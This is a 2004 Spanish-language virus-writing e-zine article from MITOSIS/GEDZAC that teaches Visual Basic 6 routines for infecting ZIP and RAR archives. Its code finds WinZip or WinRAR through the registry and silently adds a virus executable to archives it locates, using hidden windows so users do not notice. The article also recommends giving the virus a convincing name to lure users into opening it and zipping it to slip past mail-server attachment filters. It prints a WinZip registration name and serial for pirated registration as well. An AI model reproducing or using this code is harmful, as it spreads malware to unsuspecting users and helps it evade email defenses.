(C) MITOSIS #2 E-Zine/GEDZAC 2004

                                              
Tema          : Infeccion de Zip's y Rar's
Autor         : Morusa
Válido para   : Visual Basic 6, WinZip y WinRar

**-Infección de Zip's

La pregunta es como infectar archivos zip's  y pues el programa Winzip nos ayuda
en ello. ¿Como? - Pues con sus comandos que nos permiten zipear de manera que el
usuario  no  se de cuenta. Winzip  nos proporciona comandos  llamados parámetros
para crear zip`s, esto nos  servirá para  enviar nuestro virus por mail zipeado,
porque  si lo enviamos el  archivo adjunto de extensión "exe" el sevidor de mail
nos lo  retendrá  porque  son las extensiones  más  utilizadas  por los virus en
internet entre las cuales estan las ".com", ".pif", ".scr", ".vbs"... y ya no se
puede, así que zipeando si se puede.
Winzip  es  una herramienta que es utilizada en todo el mundo y nosotros aprove-
charemos eso.

Primero que  nada debemos  obtener  la dirección de winzip, que  es muy fácil de
obtener, esta en:
  
HKLM\Software\Microsoft\Windows\Currentversion\Uninstall\Winzip\UninstallString

El cual por ejemplo nos arrojará el siguiente valor al lear la cadena:
                   "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" /uninstall

Ahora ¿Como obtener fácilmente la dirección?, Sencillo:
                   Winzip = fso.GetParentFolderName(Direcciondewinzip)

Así de simple.


Comandos:
--------
   
*--Agregar un Archivo a un zip.

     Shell Winzip & " -a " archivozip  & " " & archivoexe

     Ejemplo:

     Shell Winzip & " -a C:\Hola.zip"  & " C:\virus.exe"

*--Agregar varios archivos a un zip
     Puedes Agregar varios archivos de diferentes formas por extensíon y por
     nombre y dirección de los archivos. Ejemplo:

     Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.*"
     'Ziperá todos los archivos que se encuentran en ese directorio 

     Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.dll"
     'Zipeará todos los archivos con extensión dll que esten en ese directorio

     Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe C:\Archivo.txt"  
     'Zipeará los archivos que fueron escritos no importando la dirección

*--Extraer Archivos
     La sintáxis para extraer archivos de un zip es la siguiente:  
           Shell Winzip & " -e "  & archivozip &  " "  & directorio

     Ejemplo
           Shell Winzip & " -e C:\Hola.zip"  & " C:\"  

*--¿Como Crear un Archivo zip sin formato?
     Sencillo, sólo Abre un archivo de modo binario y cierralo, es todo, nadamas
     que con extensión zip
Ejemplo:

           Open "C:\Archivozip.zip" for binary as #1
           Close #1

*--Ahora a lo que vamos, la infección.
    Simplemente buscar por algún método de búsqueda que quieras y al encontrarlo
    sólo adicionar nuestro programa  "Virus"  con un nombre convincente para que
    el usuario lo abra y así se produzca la infección en otro sistema.  Ejemplo:

    Supongamos que encontramos el siguiente archivo --> "A:\Cosas.zip", Ahora
    vamos a infectarlo

    Winzip = "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE"
    midir = "C:\Windows\System32\virus.exe"
    Call infectar("A:\Cosas.zip")

    Sub infectar(Direccion as string)
        Shell Winzip " -a " & Direccion & " " & midir, VbHide
        'Supongamos que winzip tiene el valor de la dirección y nombre del
        'programa Winzip y midir tiene el valor de la dirección de nuestro exe
        'junto con el nombre y así ahora añadirlo. 
        'El VbHide nos sirve para ocultar el programa, así no se dará cuenta el
        'usuario de que se está infectando un archivo de su diskette.  Porque si
        'no lo ponemos en caso de que tarde, se muestra el programa añadiendo un
        'archivo.
    End sub

*-- Registro de Winzip
    Otro problema que nos proporciona Winzip es que no esté registrado lo cual
    no es difícil de registrarlo simplemente con las siguientes cadenas del
    regedit:

            "HKCU\software\nico mak computing\winzip\winini\Name"
            "HKCU\software\nico mak computing\winzip\winini\SN"
            "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\Name"
            "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\SN"

    Donde:
            Name = "Nombre del registrado"
            SN = "Numero de serie o Serial Number"

    En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de
    numeros de serie que lo puedes encontrar en internet, Es igual el numero de
    serie para registrar Winzip en todas sus versiones
    Ejemplo:

             Name = "GEDZAC"
             SN = "EBB9042E"

    Si escribes en el registro las cadenas anteriores con los valores de arriba
    estará registrado winzip con el nombre de GEDZAC.
    (Comprobado en versiones 8.x y 9.x).


**- Infección de archivos Rar's. 
    Al igual que los zip's tambien los archivos rar se pueden infectar de manera
    sencilla, y  es muy usado en todo el mundo. No es necesario registrarlo como
    el winzip  que  nos mostraba la pantalla de que si estas o no de acuerdo del
    uso de este para que saques el número de serie.
    Obtendremos la dirección de winrar 

    HKCR\WinRAR\shell\open\command\(Predeterminado)
    Resultado de leer la cadena de arriba =
        "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" "%1"

    De que manera obtener sólo el path:

    winrar = StrReverse(wss.regread("HKCR\WinRAR\shell\open\command\"))
    'Leo e invierto la cadena

    w = InStr(1, winrar, " ", vbBinaryCompare)
    'Obtengo el espacio entre el path y el "%1"
    
    winrar = StrReverse(Mid(winrar, w, Len(winrar)))
    'Recorto y vuelvo a dejar la cadena como estaba (La revierto)

    Ahora  ya  tenemos  lo  que  nos interesa (el path) para  empezar a infectar 
    archivos rar  y  este  programa además de ofrecernos la infección a archivos
    rar tambien nos permite a zip, es más fácil de utilizar que winzip. Ejemplo:

*-Agregar archivo (Infectar)

     Shell winrar & " a " &  archivorar  & " " & "archivoacomprimir"

     Agrega un archivo
              Shell winrar & " a C:\archivozip.zip C:\virus.exe"
              'Añade el archivo virus.exe al archivozip.zip

              Shell winrar & " a C:\archivorar.rar C:\virus.exe"
              'Añade el archivo virus.exe al archivorar.rar

     Agrega un directorio
              Shell winrar & " a C:\archivozip.zip C:\"
              'Añade todos los archivos de C:\ a el archivo archivozip.zip

              Shell winrar & " a C:\archivorar.rar C:\"
              'Añade todos los archivos de C:\ a el archivo archivorar.rar

     La ventaja es de que si no existe el archivo winrar lo crea.

*--Extraer archivos
  
     Shell winrar & " x archivorar archivoaextraer"

Ejemplos:
     Extraer un archivo
               Shell winrar & " x C:\archivorar.rar archivo.txt"
               'Extrae el archivo "archivo.txt" de archivo .rar
              
               Shell winrar & " x C:\archivozip.zip archivo.txt"
               'Extrae el archivo "archivo.txt" de archivo .zip

     Extraer todos los archivos
               Shell winrar & " x C:\archivozip.rar C:\"
               'Extrae todos los archivos del archivo .rar a "C:\"

               Shell winrar & " x C:\archivozip.zip C:\"
               'Extrae todos los archivos del archivo .zip a "C:\"


    Al igual que en winzip la infección es igual:

    Sub infectar(Direccion as string)

    Shell winrar " -a " & Direccion & " " & midir, VbHide
    'Supongamos que winrar tiene el valor  de la dirección y nombre del programa
    'Winrar  y  midir tiene el valor de la dirección de nuestro exe junto con el
    'nombre para añadirlo al archivo rar.
    'El VbHide  nos  sirve  para  ocultar el programa, así  no se dará cuenta el
    'usuario de  que  se  está infectando un archivo. Porque si no lo ponemos en
    'caso  de  que tarde, se muestra  el  programa  añadiendo un archivo  y  eso
    'delatará nuestro virus.
    End sub


********************************************************************************
Nota: Se tiene problemas con las direcciones, para resolver esto utilizaremos el
método ShortPath de la fso.  Ejemplo:
   
    Set fso = CreateObject ("Scripting.FileSystemObject")
    Set archivo = fso.GetFile(Direccion_del_archivo_y_archivo) 
   'Ejemplo: C:\Mis documentos\Archivozip.zip o C:\Mis documentos\Archivorar.rar
    direccioncorta = archivo.ShortPath

    Lo que hace  es  crear  un path sin espacios, del primer path que escribí de
    ejemplo arrojará lo siguiente "C:\MISDOC~1\ARCHIV~1.ZIP" una dirección corta
    Así no te causará problemas para la infección de archivos  ya que no admiten
    espacios en  los path. Esto  va  para el archivo a infectar  y  el archivo a
    comprimir (osea Zip y virus ejm.)

Ejemplo:

    Public Sub infectarzip(nomzip As String,midir as string)
    Dim ar1, pt1, pt2 
    'Ar1:lo utilizo para colocar las propiedades del archivo
    'Pt1: lo utlizo para colocar el path del zip
    'Pt2: lo utlizo para colocar el path del virus
    On Error GoTo err:
    
    Set ar1 = fso.getfile(nomzip) 'Coloco las propiedades del archivo zip en ar1
    pt1 = ar1.shortpath                   'Coloco el path corto en pt1

    Set ar1 = fso.getfile(midir)      'Coloco las propiedades del virus en ar1
    pt2 = ar1.shortpath                   'Coloco el path corto en pt2

    'Coloco las propiedades del archivo zip en ar1
    Shell winzip & " -a " & pt1 & " " & pt2, vbHide

    err:
    End Sub
********************************************************************************

By Morusa ;-)

(C) MITOSIS #2 E-Zine/GEDZAC 2004